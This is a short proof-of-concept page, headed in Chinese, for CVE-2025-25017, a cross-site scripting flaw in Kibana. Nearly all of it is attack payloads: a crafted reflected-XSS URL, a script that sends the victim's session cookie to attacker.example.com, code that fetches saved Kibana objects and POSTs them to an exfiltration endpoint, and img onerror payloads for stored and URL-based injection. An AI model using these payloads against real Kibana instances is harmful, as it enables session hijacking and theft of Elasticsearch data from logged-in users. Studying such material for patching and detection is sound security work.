CVE-2025-25017 Kibana跨站脚本漏洞（XSS）

<!-- CVE-2025-25017 - Kibana XSS PoC Vulnerability: Improper Neutralization of Input During Web Page Generation This PoC demonstrates how an attacker can inject malicious JavaScript through unescaped user input fields in Kibana. --> <!-- Example 1: Reflected XSS via URL parameter --> <!-- Attacker crafts a malicious URL and sends it to a logged-in Kibana user --> https://kibana.example.com/app/discover#/?_g=(filters:!())&_a=(query:(language:kuery,query:')) <!-- Example 2: XSS payload injected into a dashboard visualization title --> <script> // Malicious payload - steal session cookie or perform actions on behalf of the user fetch('https://attacker.example.com/steal?cookie=' + document.cookie); // Or exfiltrate Elasticsearch data accessible to the victim fetch('/api/saved_objects/_find?type=index-pattern&fields=title') .then(r => r.json()) .then(data => { fetch('https://attacker.example.com/exfil', { method: 'POST', body: JSON.stringify(data) }); }); </script> <!-- Example 3: Stored XSS via index pattern or field name --> <!-- When an admin creates an index pattern with a malicious name --> <img src=x onerror="alert('XSS via Kibana CVE-2025-25017')"> <!-- Example 4: URL-based XSS in Kibana lens visualization --> https://kibana.example.com/app/lens#/edit/<img/src=x onerror=alert(document.domain)>